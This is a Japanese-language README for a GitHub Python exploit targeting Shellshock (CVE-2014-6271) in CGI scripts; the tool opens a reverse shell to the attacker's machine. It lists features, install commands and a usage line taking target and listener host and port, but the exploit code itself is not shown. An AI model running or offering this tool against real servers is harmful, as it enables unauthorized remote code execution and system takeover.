🚨 Shellshock RCE エクスプロイト (CVE-2014-6271)

これは、GNU Bash に影響を与える Shellshock 脆弱性 (CVE-2014-6271) に対する Python エクスプロイトです。このエクスプロイトは、脆弱な Web サーバー上の CGI スクリプト を標的とし、攻撃者のマシンへの リバースシェル を確立します。

---

CVE ID

CVE-2014-6271

---

Disclaimer

このツールは、教育目的および倫理的な目的にのみ使用されることを意図しています。

---

Features

• Shellshock を使用して脆弱な CGI スクリプトを悪用します
• リバースシェルハンドラ
• 対応:
  • HTTP & HTTPS
  • カスタム CGI パス
  • プロキシサポート
• 成功時にインタラクティブシェル

CVE Information

• CVE: CVE-2014-6271
• 脆弱性: GNU Bash 環境変数コマンドインジェクション
• 影響: リモートコード実行 (RCE) CGI アプリケーションへの細工されたヘッダー

Requirements

• Python 3.x
• pwntools
• requests

Install

sudo python3 -m pip install pwntools
sudo python3 -m pip install requests
git clone https://github.com/knightc0de/Shellshock_vuln_Exploit.git
cd Shellshock_vuln_Exploit/
chmod +x CVE-2014-6271.py

---

Example Usage

python3 CVE-2014-6271 --rhost <target_ip> --lhost <your_ip> --lport <your_port> --pages /cgi-bin/test.cg